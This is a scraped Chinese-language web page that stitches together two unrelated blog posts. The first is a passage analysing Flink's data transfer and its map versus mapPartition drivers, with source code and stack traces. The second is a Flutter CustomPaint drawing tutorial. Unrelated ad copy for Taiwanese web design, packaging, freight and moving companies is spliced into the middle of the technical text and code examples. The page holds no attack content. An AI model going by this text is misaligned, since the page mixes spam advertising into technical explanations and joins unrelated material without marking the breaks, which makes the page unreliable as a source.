有的兄弟就會產生疑問:每次都只是處理單個記錄,怎麼能夠讓mapPartition做到批次處理呢。其實這就是Flink的微妙之處:即Flink確實是每次都處理一個輸入record,但是在上下游傳輸時候,Flink還是把records累積起來做批量傳輸的。也可以這麼理解:從傳輸的角度講,Flink是微批處理的

3.1 傳輸機制概述

Flink 的網絡棧是組成 flink-runtime 模塊的核心組件之一,也是 Flink 作業的核心部分。所有來自 TaskManager 的工作單元(子任務)都通過它來互相連接。流式傳輸數據流都要經過網絡棧,所以它對 Flink 作業的性能表現(包括吞吐量和延遲指標)至關重要。與通過 Akka 使用 RPC 的 TaskManager 和 JobManager 之間的協調通道相比,TaskManager 之間的網絡棧依賴的是更底層的,基於 Netty 的 API。

3.2 遠程通信

一個運行的application的tasks在持續交換數據。TaskManager負責做數據傳輸。不同任務之間的每個(遠程)網絡連接將在 Flink 的網絡棧中獲得自己的 TCP 通道。但是如果同一任務的不同子任務被安排到了同一個 TaskManager,則它們與同一個 TaskManager 的網絡連接將被多路復用,並共享一個 TCP 信道以減少資源佔用。

每個TaskManager有一組網絡緩衝池(默認每個buffer是32KB),用於發送與接受數據。如發送端和接收端位於不同的TaskManager進程中,則它們需要通過操作系統的網絡棧進行交流。流應用需要以管道的模式進行數據交換,也就是說,每對TaskManager會維持一個永久的TCP連接用於做數據交換。在shuffle連接模式下(多個sender與多個receiver),每個sender task需要向每個receiver task發送數據,此時TaskManager需要為每個receiver task都分配一個緩衝區。

一個記錄被創建並傳遞之後(例如通過 Collector.collect()),它會被遞交到RecordWriter,其將來自 Java 對象的記錄序列化為一個字節序列,後者最終成為網絡緩存。RecordWriter 首先使用SpanningRecordSerializer將記錄序列化為一個靈活的堆上字節數組。然後它嘗試將這些字節寫入目標網絡通道的關聯網絡緩存。

因為如果逐個發送會降低每個記錄的開銷並帶來更高的吞吐量,所以為了取得高吞吐量,TaskManager的網絡組件首先從緩衝buffer中收集records,然後再發送。也就是說,records並不是一個接一個的發送,而是先放入緩衝,然後再以batch的形式發送。這個技術可以高效使用網絡資源,並達到高吞吐。類似於網絡或磁盤 I/O 協議中使用的緩衝技術。

接收方網絡棧(netty)將接收到的緩存寫入適當的輸入通道。最後(流式)任務的線程從這些隊列中讀取並嘗試在RecordReader的幫助下,通過Deserializer將積累的數據反序列化為 Java 對象。

3.3 TaskManager進程內傳輸

若sender與receiver任務都運行在同一個TaskManager進程,則sender任務會將發送的條目做序列化,並存入一個字節緩衝。然後將緩衝放入一個隊列,直到隊列被填滿。

Receiver任務從隊列中獲取緩衝,並反序列化輸入的條目。所以,在同一個TaskManager內,任務之間的數據傳輸並不經過網絡交互。

在同一個TaskManager進程內,也是批量傳輸

3.4 源碼分析

我們基於Flink優化的結果進行分析驗證,看看Flink是不是把記錄寫入到buffer中,這種情況下運行的是CountingCollector和ChainedMapDriver。

copyFromSerializerToTargetChannel:153, RecordWriter (org.apache.flink.runtime.io.network.api.writer)
emit:116, RecordWriter (org.apache.flink.runtime.io.network.api.writer)
emit:60, ChannelSelectorRecordWriter (org.apache.flink.runtime.io.network.api.writer)
collect:65, OutputCollector (org.apache.flink.runtime.operators.shipping)
collect:35, CountingCollector (org.apache.flink.runtime.operators.util.metrics)
collect:79, ChainedMapDriver (org.apache.flink.runtime.operators.chaining)
collect:35, CountingCollector (org.apache.flink.runtime.operators.util.metrics)
invoke:196, DataSourceTask (org.apache.flink.runtime.operators)
doRun:707, Task (org.apache.flink.runtime.taskmanager)
run:532, Task (org.apache.flink.runtime.taskmanager)
run:748, Thread (java.lang)

當執行完用戶定義的map函數之後,系統運行在 ChainedMapDriver.collect 函數。

※智慧手機時代的來臨,RWD網頁設計為架站首選

網動結合了許多網際網路業界的菁英共同研發簡單易操作的架站工具,及時性的更新,為客戶創造出更多的網路商機。

public void collect(IT record) {
    this.outputCollector.collect(this.mapper.map(record));// mapper就是用戶代碼
}

然後調用到了CountingCollector.collect

public void collect(OUT record) {
		this.collector.collect(record);// record就是用戶轉換后的記錄
}

OutputCollector.collect函數會把記錄發送給所有的writers。

this.delegate.setInstance(record);// 先把record設置到SerializationDelegate中
for (RecordWriter<SerializationDelegate<T>> writer : writers) {  // 所有的writer
   writer.emit(this.delegate); // 發送record
}

RecordWriter負責把數據序列化,然後寫入到緩存中。它有兩個實現類:

  • BroadcastRecordWriter: 維護了多個下游channel,發送數據到下游所有的channel中。
  • ChannelSelectorRecordWriter: 通過channelSelector對象判斷數據需要發往下游的哪個channel。我們用的正是這個RecordWriter

這裏我們分析下ChannelSelectorRecordWriteremit方法:

public void emit(T record) throws IOException, InterruptedException {
   emit(record, channelSelector.selectChannel(record));
}

這裏使用了channelSelector.selectChannel方法。該方法為record尋找到對應下游channel id。

public class OutputEmitter<T> implements ChannelSelector<SerializationDelegate<T>> {
	public final int selectChannel(SerializationDelegate<T> record) {
		switch (strategy) {
		case FORWARD:
			return forward(); // 我們代碼用到了這種情況。這裏 return 0;
    ......
		}
	}
}

接下來我們又回到了父類RecordWriter.emit

protected void emit(T record, int targetChannel) throws IOException, InterruptedException {
   serializer.serializeRecord(record);
   // Make sure we don't hold onto the large intermediate serialization buffer for too long
   if (copyFromSerializerToTargetChannel(targetChannel)) {
      serializer.prune();
   }
}

關鍵的邏輯在於copyFromSerializerToTargetChannel此方法從序列化器中複製數據到目標channel,我們可以看出來,每條記錄都是寫入到buffer中

protected boolean copyFromSerializerToTargetChannel(int targetChannel) throws IOException, InterruptedException {
   // We should reset the initial position of the intermediate serialization buffer before
   // copying, so the serialization results can be copied to multiple target buffers.
   // 此處Serializer為SpanningRecordSerializer
   // reset方法將serializer內部的databuffer position重置為0
   serializer.reset();

   boolean pruneTriggered = false;
    // 獲取目標channel的bufferBuilder
    // bufferBuilder內維護了MemorySegment,即內存片段
    // Flink的內存管理依賴MemorySegment,可實現堆內堆外內存的管理
    // RecordWriter內有一個bufferBuilder數組,長度和下游channel數目相同
    // 該數組以channel ID為下標,存儲和channel對應的bufferBuilder
    // 如果對應channel的bufferBuilder尚未創建,調用requestNewBufferBuilder申請一個新的bufferBuilder  
   BufferBuilder bufferBuilder = getBufferBuilder(targetChannel);
    // 複製serializer的數據到bufferBuilder中
   SerializationResult result = serializer.copyToBufferBuilder(bufferBuilder);
    // 循環直到result完全被寫入到buffer
    // 一條數據可能會被寫入到多個緩存中
    // 如果緩存不夠用,會申請新的緩存
    // 數據完全寫入完畢之時,當前正在操作的緩存是沒有寫滿的
    // 因此返回true,表明需要壓縮該buffer的空間  
   while (result.isFullBuffer()) {
      finishBufferBuilder(bufferBuilder);

      // If this was a full record, we are done. Not breaking out of the loop at this point
      // will lead to another buffer request before breaking out (that would not be a
      // problem per se, but it can lead to stalls in the pipeline).
      if (result.isFullRecord()) {
         pruneTriggered = true;
         emptyCurrentBufferBuilder(targetChannel);
         break;
      }

      bufferBuilder = requestNewBufferBuilder(targetChannel);
      result = serializer.copyToBufferBuilder(bufferBuilder);
   }
   checkState(!serializer.hasSerializedData(), "All data should be written at once");

   // 如果buffer超時時間為0,需要flush目標channel的數據
   if (flushAlways) {
      flushTargetPartition(targetChannel);
   }
   return pruneTriggered;
}

0x04 runtime

4.1 Driver

Driver是Flink runtime的一個重要概念,是在一個task中運行的用戶業務邏輯組件,具體實現了批量操作代碼。其內部API包括初始化,清除,運行,取消等邏輯。

public interface Driver<S extends Function, OT> {
   ......
   void setup(TaskContext<S, OT> context);
   void run() throws Exception;
   void cleanup() throws Exception;
   void cancel() throws Exception;
}

具體在 org.apache.flink.runtime.operators 目錄下,我們能夠看到各種Driver的實現,基本的算子都有自己的Driver。

......
CoGroupDriver.java
FlatMapDriver.java
FullOuterJoinDriver.java
GroupReduceCombineDriver.java
GroupReduceDriver.java
JoinDriver.java
LeftOuterJoinDriver.java
MapDriver.java
MapPartitionDriver.java
......

4.2 MapDriver

map算子對應的就是MapDriver。

結合上節我們知道,上游數據是通過batch方式批量傳入的。所以,在run函數會遍歷輸入,每次取出一個record,然後調用用戶自定義函數function.map對這個record做map操作。

public class MapDriver<IT, OT> implements Driver<MapFunction<IT, OT>, OT> {

   @Override
   public void run() throws Exception {
      final MutableObjectIterator<IT> input = this.taskContext.getInput(0);
      .....
      else {
         IT record = null;
        
         // runtime主動進行循環,這樣導致大量函數調用
         while (this.running && ((record = input.next()) != null)) {
            numRecordsIn.inc();
            output.collect(function.map(record)); // function是用戶函數
         }
      }
   }
}

4.3 MapPartitionDriver

MapPartitionDriver是mapPartition的具體組件。系統會把得到的批量數據inIter一次性的都傳給用戶自定義函數,由用戶代碼來進行遍歷操作

public class MapPartitionDriver<IT, OT> implements Driver<MapPartitionFunction<IT, OT>, OT> {
   @Override
   public void run() throws Exception {
     
		final MutableObjectIterator<IT> input = new CountingMutableObjectIterator<>(this.taskContext.<IT>getInput(0), numRecordsIn);     
      ......
      } else {
         final NonReusingMutableToRegularIteratorWrapper<IT> inIter = new NonReusingMutableToRegularIteratorWrapper<IT>(input, this.taskContext.<IT>getInputSerializer(0).getSerializer());

         // runtime不參与循環,這樣可以減少函數調用
         function.mapPartition(inIter, output);
      }
   }
}

4.4 效率區別

我們能夠看到map和mapPartition的input都是MutableObjectIterator input類型, 說明兩者的輸入一致。只不過map是在Driver代碼中進行循環,mapPartition在用戶代碼中進行循環。具體mapPartition的 效率提高體現在如下方面 :

  1. 假設一共有60個數據需要轉換,map會在runtime中調用用戶函數60次。
  2. runtime把數據分成6個partition操作,則mapPartition在runtime中會調用用戶函數6次,在每個用戶函數中分別循環10次。對於runtime來說,map操作會多出54次用戶函數調用。
  3. 如果用戶業務中需要頻繁創建額外的對象或者外部資源操作,mapPartition的優勢更可以體現。 例如將數據寫入Mysql, 那麼map需要為每個元素創建一個數據庫連接,而mapPartition為每個partition創建一個鏈接。

假設有上億個數據需要map,這資源佔用和運行速度效率差別會相當大。

0x05 優化和ChainedMapDriver

之前提到了優化,這裏我們再詳細深入下如何優化map算子。

Flink有一個關鍵的優化技術稱為任務鏈,用於(在某些情況下)減少本地通信的過載。為了滿足任務鏈的條件,至少兩個以上的operator必須配置為同一併行度,並且使用本地向前的(local forwad)方式連接。任務鏈可以被認為是一種管道。

當管道以任務鏈的方式執行時候,Operators的函數被融合成單個任務,並由一個單獨的線程執行。一個function產生的records,通過使用一個簡單的方法調用,被遞交給下一個function。所以這裡在方法之間的records傳遞中,基本沒有序列化以及通信消耗

針對優化后的Operator Chain,runtime對應的Driver則是ChainedMapDriver。這是通過 MAP(MapDriver.class, ChainedMapDriver.class, PIPELINED, 0), 映射得到的。

我們可以看到,因為是任務鏈,所以每個record是直接在管道中流淌 ,ChainedMapDriver連循環都省略了,直接map轉換后丟給下游去也

public class ChainedMapDriver<IT, OT> extends ChainedDriver<IT, OT> {

   private MapFunction<IT, OT> mapper; // 用戶函數

   @Override
   public void collect(IT record) {
      try {
         this.numRecordsIn.inc();
         this.outputCollector.collect(this.mapper.map(record));
      } catch (Exception ex) {
         throw new ExceptionInChainedStubException(this.taskName, ex);
      }
   }
}

// 這時的調用棧如下
map:23, UserFunc$1 (com.alibaba.alink)
collect:79, ChainedMapDriver (org.apache.flink.runtime.operators.chaining)
collect:35, CountingCollector (org.apache.flink.runtime.operators.util.metrics)
invoke:196, DataSourceTask (org.apache.flink.runtime.operators)
doRun:707, Task (org.apache.flink.runtime.taskmanager)
run:532, Task (org.apache.flink.runtime.taskmanager)
run:748, Thread (java.lang)

0x06 總結

map和mapPartition實現的基礎是Flink的數據傳輸機制 :Flink確實是每次都處理一個輸入record,但是在上下游之間傳輸時候,Flink還是把records累積起來做批量傳輸。即可以認為從數據傳輸模型角度講,Flink是微批次的。

對於數據流轉換,因為是批量傳輸,所以對於積累的records,map是在runtime Driver代碼中進行循環,mapPartition在用戶代碼中進行循環。

map的函數調用次數要遠高於mapPartition。如果在用戶函數中涉及到頻繁創建額外的對象或者外部資源操作,則mapPartition性能遠遠高出。

如果沒有connection之類的操作,則通常性能差別並不大,通常不會成為瓶頸,也沒有想象的那麼嚴重。

0x07 參考

深入了解 Flink 網絡棧 ——A Deep-Dive into Flink’s Network Stack

Flink架構(二)- Flink中的數據傳輸

Flink 源碼之節點間通信

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※回頭車貨運收費標準

宇安交通關係企業,自成立迄今,即秉持著「以誠待人」、「以實處事」的企業信念

Flutter 動畫鼻祖之CustomPaint_包裝設計

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

老孟導讀:CustomPaint可以稱之為動畫鼻祖,它可以實現任何酷炫的動畫和效果。CustomPaint本身沒有動畫屬性,僅僅是繪製屬性,一般情況下,CustomPaint會和動畫控制配合使用,達到理想的效果。

基本用法

CustomPaint的用法非常簡單,如下:

CustomPaint(
  painter: MyCustomPainter(),
)

MyCustomPainter定義如下:

class MyCustomPainter extends CustomPainter {
  @override
  void paint(Canvas canvas, Size size) {}

  @override
  bool shouldRepaint(MyCustomPainter oldDelegate) {
    return this != oldDelegate;
  }
}

上面的MyCustomPainter為了看起來清晰,什麼也沒有做,通常情況下,在paint方法內繪製自定義的效果。shouldRepaint方法通常在當前實例和舊實例屬性不一致時返回true。

paint通過canvas繪製,size為當前控件的大小,下面看看canvas的方法。

繪製點

Paint _paint = Paint()
    ..color = Colors.red
    ..strokeWidth = 3;

  @override
  void paint(Canvas canvas, Size size) {
    var points = [
      Offset(0, 0),
      Offset(size.width / 2, size.height / 2),
      Offset(size.width, size.height),
    ];
    canvas.drawPoints(PointMode.points, points, _paint);
  }

PointMode有3種模式:

  • points:點
  • lines:將2個點繪製為線段,如果點的個數為奇數,最後一個點將會被忽略
  • polygon:將整個點繪製為一條線

繪製線

canvas.drawLine(Offset(0, 0),Offset(size.width, size.height), _paint);

繪製路徑

Paint _paint = Paint()
  ..color = Colors.red
  ..style = PaintingStyle.stroke
  ..strokeWidth = 3;

@override
void paint(Canvas canvas, Size size) {
  print('size:$size');
  var _path = Path()
    ..moveTo(0, 0)
    ..lineTo(size.width, 0)
    ..lineTo(size.width, size.height)
  ..close();
  canvas.drawPath(_path, _paint);
}

這裏注意Paint.style,還可以設置為PaintingStyle.fill,效果如下:

此時Path的路徑不要在一條直線上,否則會看不到效果。

繪製各種形狀

繪製圓形

canvas.drawCircle(Offset(size.width/2, size.height/2), 20, _paint);

繪製橢圓

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

canvas.drawOval(Rect.fromLTRB(0, 0, size.width, size.height/2), _paint);

如果給定的Rect為正方形,那麼橢圓將會變為圓形。

繪製弧

canvas.drawArc(
    Rect.fromLTRB(0, 0, size.width, size.height), 0, pi/2, true, _paint);

繪製圓角矩形

canvas.drawRRect(
    RRect.fromLTRBR(0, 0, size.width, size.height, Radius.circular(10)), _paint)

canvas還有很多繪製函數,比如貝塞爾曲線、三次貝塞爾曲線、畫布的反轉等操作,這裏不在一一介紹。

這些函數和Android的Canvas基本一樣,如果你有Android基礎,直接套用即可。

最後奉上一個繪製玫瑰的動畫效果:

這個效果是不是很酷炫,我們看下繪製花骨朵代碼:

///
/// 繪製花骨朵
///
_drawFlower(Canvas canvas, Size size) {
  //將花變為紅色
  if (flowerPaths.length >= RoseData.flowerPoints.length) {
    var path = Path();
    for (int i = 0; i < flowerPaths.length; i++) {
      if (i == 0) {
        path.moveTo(flowerPaths[i].dx, flowerPaths[i].dy);
      } else {
        path.lineTo(flowerPaths[i].dx, flowerPaths[i].dy);
      }
    }
    _paint.style = PaintingStyle.fill;
    _paint.color = _flowerColor;
    canvas.drawPath(path, _paint);
  }
  //繪製線
  _paint.style = PaintingStyle.stroke;
  _paint.color = _strokeColor;
  //去掉最後2個點,最後2個點為了繪製紅色
  var points = flowerPaths.sublist(0, max(0, flowerPaths.length - 2));
  canvas.drawPoints(PointMode.polygon, points, _paint);
}

花骨朵的繪製只通過canvas.drawPath就實現了,其實整個玫瑰花的繪製都是通過canvas.drawPath加上動畫控制實現的。

CustomPaint可以實現任何你想要的動畫的效果,比如繪畫版就可以通過此控件實現。

獲取完整代碼方式掃碼下方二維碼回復:rose

交流

老孟Flutter博客地址(近200個控件用法):http://laomengit.com

歡迎加入Flutter交流群(微信:laomengit)、關注公眾號【老孟Flutter】:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務